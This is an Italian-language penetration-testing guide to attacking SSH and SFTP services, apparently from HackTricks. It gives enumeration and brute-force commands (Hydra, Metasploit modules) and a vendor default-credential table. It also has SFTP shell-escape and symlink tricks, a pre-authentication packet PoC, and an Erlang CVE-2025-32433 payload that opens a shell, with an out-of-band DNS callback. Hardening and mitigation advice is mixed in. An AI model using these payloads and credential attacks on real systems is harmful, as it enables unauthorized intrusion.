22 - Pentesting SSH/SFTP
Reading time: 16 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Basic Information
SSH (Secure Shell or Secure Socket Shell) è un protocollo di rete che consente una connessione sicura a un computer su una rete non sicura. È essenziale per mantenere la riservatezza e l'integrità dei dati durante l'accesso a sistemi remoti.
Porta predefinita: 22
22/tcp open ssh syn-ack
Server SSH:
- openSSH – OpenBSD SSH, incluso in BSD, nelle distribuzioni Linux e in Windows da Windows 10
- Dropbear – implementazione SSH per ambienti con risorse di memoria e CPU limitate, inclusa in OpenWrt
- PuTTY – implementazione SSH per Windows; il client è comunemente usato, mentre l'uso del server è più raro
- CopSSH – implementazione di OpenSSH per Windows
Librerie SSH (implementazione lato server):
- libssh – libreria C multipiattaforma che implementa il protocollo SSHv2 con binding in Python, Perl e R; è usata da KDE per sftp e da GitHub per l'infrastruttura git SSH
- wolfSSH – libreria server SSHv2 scritta in ANSI C e destinata ad ambienti embedded, RTOS e con risorse limitate
- Apache MINA SSHD – la libreria Java Apache SSHD si basa su Apache MINA
- paramiko – libreria Python del protocollo SSHv2
Enumerazione
Banner Grabbing
nc -vn <IP> 22
ssh-audit automatizzato
ssh-audit è uno strumento per l'audit delle configurazioni di server e client SSH.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
Caratteristiche:
- Supporto per i protocolli server SSH1 e SSH2;
- analizzare la configurazione del client SSH;
- recuperare il banner, riconoscere il dispositivo o il software e il sistema operativo, rilevare la compressione;
- raccogliere gli algoritmi di key-exchange, host-key, encryption e message authentication code;
- mostrare informazioni sugli algoritmi (available since, removed/disabled, unsafe/weak/legacy, etc);
- fornire raccomandazioni sugli algoritmi (append or remove based on recognized software version);
- fornire informazioni sulla sicurezza (related issues, assigned CVE list, etc);
- analizzare la compatibilità delle versioni SSH basandosi sulle informazioni sugli algoritmi;
- informazioni storiche da OpenSSH, Dropbear SSH e libssh;
- funziona su Linux e Windows;
- nessuna dipendenza
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Chiave SSH pubblica del server
ssh-keyscan -t rsa <IP> -p <PORT>
Algoritmi di cifratura deboli
Questo viene rilevato di default da nmap. Puoi anche usare sslcan o sslyze.
Script di Nmap
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
In alcune versioni di OpenSSH è possibile eseguire un timing attack per enumerare gli utenti. Puoi usare un metasploit module per sfruttare questo:
msf> use scanner/ssh/ssh_enumusers
Brute force
Alcune credenziali ssh comuni here e here e sotto.
Private Key Brute Force
Se conosci alcune ssh private keys che potrebbero essere usate... proviamoci. Puoi usare lo script nmap:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Oppure il MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Oppure usa ssh-keybrute.py
(per Python3 nativo, leggero e con algoritmi legacy abilitati): snowdroppe/ssh-keybrute.
Known badkeys can be found here:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Weak SSH keys / Debian predictable PRNG
Alcuni sistemi presentano difetti noti nel seme casuale usato per generare il materiale crittografico. Questo può portare a uno spazio di chiavi drasticamente ridotto che può essere forzato con brute force. Set di chiavi pre-generate su sistemi Debian affetti dal PRNG debole sono disponibili qui: g0tmi1k/debian-ssh.
Dovresti consultare queste risorse per cercare chiavi valide per la macchina vittima.
Kerberos / GSSAPI SSO
Se il server SSH target supporta GSSAPI (per esempio Windows OpenSSH su un domain controller), puoi autenticarti usando il tuo Kerberos TGT invece della password.
Flusso di lavoro da un host Linux attaccante:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Note:
- Se ti connetti al nome sbagliato (es., host corto, alias o ordine errato in
/etc/hosts
), potresti ottenere: "Server not found in Kerberos database" perché lo SPN non corrisponde. crackmapexec ssh --kerberos
può anche usare il tuo ccache per l'autenticazione Kerberos.
Credenziali predefinite
Vendor | Usernames | Passwords |
---|---|---|
APC | apc, device | apc |
Brocade | admin | admin123, password, brocade, fibranne |
Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
D-Link | admin, user | private, admin, user |
Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
Juniper | netscreen | netscreen |
NetApp | admin | netapp123 |
Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Se sei nella rete locale come la vittima che sta per connettersi al server SSH usando username e password, puoi provare a eseguire un attacco MitM per rubare quelle credenziali:
Percorso dell'attacco:
- Traffico reindirizzato: l'attaccante dirotta il traffico della vittima verso la propria macchina, intercettando il tentativo di connessione al server SSH.
- Intercettazione e logging: la macchina dell'attaccante funge da proxy, catturando i dettagli di login dell'utente fingendo di essere il server SSH legittimo.
- Esecuzione comandi e relay: infine, il server dell'attaccante registra le credenziali dell'utente, inoltra i comandi al server SSH reale, li esegue e invia i risultati all'utente, facendo apparire il processo come trasparente e legittimo.
SSH MITM fa esattamente quanto descritto sopra.
Per catturare e eseguire il MitM puoi usare tecniche come ARP spoofing, DNS spoofin o altre descritte nei Network Spoofing attacks.
SSH-Snake
Se vuoi attraversare una rete usando chiavi private SSH scoperte sui sistemi, utilizzando ciascuna chiave privata su ogni sistema per raggiungere nuovi host, allora SSH-Snake è quello che ti serve.
SSH-Snake esegue automaticamente e ricorsivamente le seguenti operazioni:
- Sul sistema corrente, trova eventuali chiavi private SSH,
- Sul sistema corrente, trova eventuali host o destinazioni (user@host) in cui le chiavi private potrebbero essere accettate,
- Tenta di SSH verso tutte le destinazioni usando tutte le chiavi private scoperte,
- Se una destinazione viene raggiunta con successo, ripete i passi #1 - #4 sul sistema a cui si è connessi.
È completamente auto-replicante e auto-propagante -- e completamente fileless.
Misconfigurazioni
Root login
È comune che i server SSH consentano l'accesso dell'utente root di default, il che rappresenta un rischio significativo per la sicurezza. Disabilitare l'accesso root è un passo critico per proteggere il server. L'accesso non autorizzato con privilegi amministrativi e gli attacchi di brute force possono essere mitigati apportando questa modifica.
Per disabilitare l'accesso root in OpenSSH:
- Modifica il file di configurazione SSH con:
sudoedit /etc/ssh/sshd_config
- Cambia l'impostazione da
#PermitRootLogin yes
aPermitRootLogin no
. - Ricarica la configurazione usando:
sudo systemctl daemon-reload
- Riavvia il server SSH per applicare le modifiche:
sudo systemctl restart sshd
SFTP Brute Force
SFTP command execution
Esiste una svista comune nelle configurazioni SFTP, dove gli amministratori prevedono che gli utenti scambino file senza abilitare l'accesso shell remoto. Nonostante l'assegnazione agli utenti di shell non interattive (es., /usr/bin/nologin
) e il confinamento in una directory specifica, rimane una falla di sicurezza. Gli utenti possono aggirare queste restrizioni richiedendo l'esecuzione di un comando (come /bin/bash
) immediatamente dopo il login, prima che la loro shell non interattiva abbia effetto. Questo permette l'esecuzione non autorizzata di comandi, compromettendo le misure di sicurezza previste.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Ecco un esempio di configurazione SFTP sicura (/etc/ssh/sshd_config
– openSSH) per l'utente noraj
:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Questa configurazione consentirà solo SFTP: disabiliterà l'accesso shell forzando lo start command e disabiliterà l'accesso TTY, ma impedirà anche qualsiasi tipo di port forwarding o tunneling.
SFTP Tunneling
Se hai accesso a un server SFTP puoi anche instradare il tuo traffico attraverso di esso, ad esempio usando il comune port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
Lo sftp dispone del comando "symlink". Perciò, se hai permessi di scrittura in una cartella, puoi creare symlink di altre cartelle/file. Poiché probabilmente sei intrappolato all'interno di un chroot questo non ti sarà particolarmente utile, ma, se puoi accedere al symlink creato da un no-chroot service (per esempio, se puoi accedere al symlink dal web), potresti aprire i file symlinked tramite il web.
Per esempio, per creare un symlink da un nuovo file "froot" a "/":
sftp> symlink / froot
Se puoi accedere al file "froot" via web, potrai elencare la cartella root ("/") del sistema.
Metodi di autenticazione
In ambienti ad alta sicurezza è pratica comune abilitare solo l'autenticazione tramite chiave o a due fattori anziché la semplice autenticazione basata su password. Ma spesso i metodi di autenticazione più forti sono abilitati senza disabilitare quelli più deboli. Un caso frequente è abilitare publickey
nella configurazione di openSSH e impostarlo come metodo predefinito ma senza disabilitare password
. Quindi, usando la modalità verbose del client SSH un attaccante può vedere che un metodo più debole è abilitato:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Ad esempio, se è impostato un limite di authentication failure e non riesci mai a raggiungere il password method, puoi usare l'opzione PreferredAuthentications
per forzare l'uso di questo metodo.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
È necessario rivedere la configurazione del server SSH per verificare che siano autorizzati solo i metodi previsti. L'uso della verbose mode sul client può aiutare a vedere l'efficacia della configurazione.
File di configurazione
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Authentication State-Machine Bypass (Pre-Auth RCE)
Diverse implementazioni di server SSH contengono difetti logici nella macchina a stati finiti di autenticazione che consentono a un client di inviare connection-protocol messages prima che l'autenticazione sia completata. Poiché il server non verifica di trovarsi nello stato corretto, quei messaggi vengono gestiti come se l'utente fosse completamente autenticato, portando a esecuzione di codice non autenticata o alla creazione di una sessione.
A livello di protocollo qualsiasi messaggio SSH con un message code ≥ 80 (0x50) appartiene al livello connection (RFC 4254) e deve essere accettato solo dopo un'autenticazione riuscita (RFC 4252). Se il server elabora uno di questi messaggi mentre è ancora nello stato SSH_AUTHENTICATION, l'attaccante può creare immediatamente un channel e richiedere azioni come l'esecuzione di comandi, il port-forwarding, ecc.
Passaggi generici di sfruttamento
- Stabilire una connessione TCP verso la porta SSH del target (di solito 22, ma altri servizi possono esporre Erlang/OTP sulle porte 2022, 830, 2222…).
- Creare un pacchetto SSH grezzo:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (es.
SSH_MSG_CHANNEL_OPEN
= 90,SSH_MSG_CHANNEL_REQUEST
= 98) - Payload che sarà interpretato dal tipo di messaggio scelto
- Inviare il/i pacchetto(i) prima di completare qualsiasi fase di autenticazione.
- Interagire con le API del server ora esposte pre-auth (esecuzione di comandi, port forwarding, accesso al file-system, …).
Bozza di proof-of-concept in Python:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
In pratica dovrai eseguire (o saltare) lo scambio di chiavi in base all'implementazione del target, ma nessuna autenticazione viene mai eseguita.
Erlang/OTP sshd
(CVE-2025-32433)
- Versioni affette: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Causa: il daemon SSH nativo di Erlang non valida lo stato corrente prima di invocare
ssh_connection:handle_msg/2
. Pertanto qualsiasi pacchetto con codice messaggio 80-255 raggiunge il gestore della connessione mentre la sessione è ancora nello stato userauth. - Impatto: unauthenticated remote code execution (il daemon di solito gira come root su dispositivi embedded/OT).
Esempio di payload che genera una reverse shell legata al canale controllato dall'attacker:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection può essere effettuata via DNS:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Rilevamento e mitigazione:
- Ispezionare il traffico SSH: drop any packet with message code ≥ 80 observed before authentication.
- Aggiornare Erlang/OTP a 27.3.3 / 26.2.5.11 / 25.3.2.20 o versioni successive.
- Limitare l'esposizione delle porte di gestione (22/2022/830/2222) – soprattutto su apparecchiature OT.
Altre implementazioni interessate
- libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – accetta un
SSH_MSG_USERAUTH_SUCCESS
non autenticato inviato dal client, di fatto il difetto logico inverso.
La lezione comune è che qualsiasi deviazione dalle transizioni di stato imposte dall'RFC può essere fatale; durante la revisione o il fuzzing dei daemon SSH prestare particolare attenzione a state-machine enforcement.
Riferimenti
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
Comandi Automatici HackTricks
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.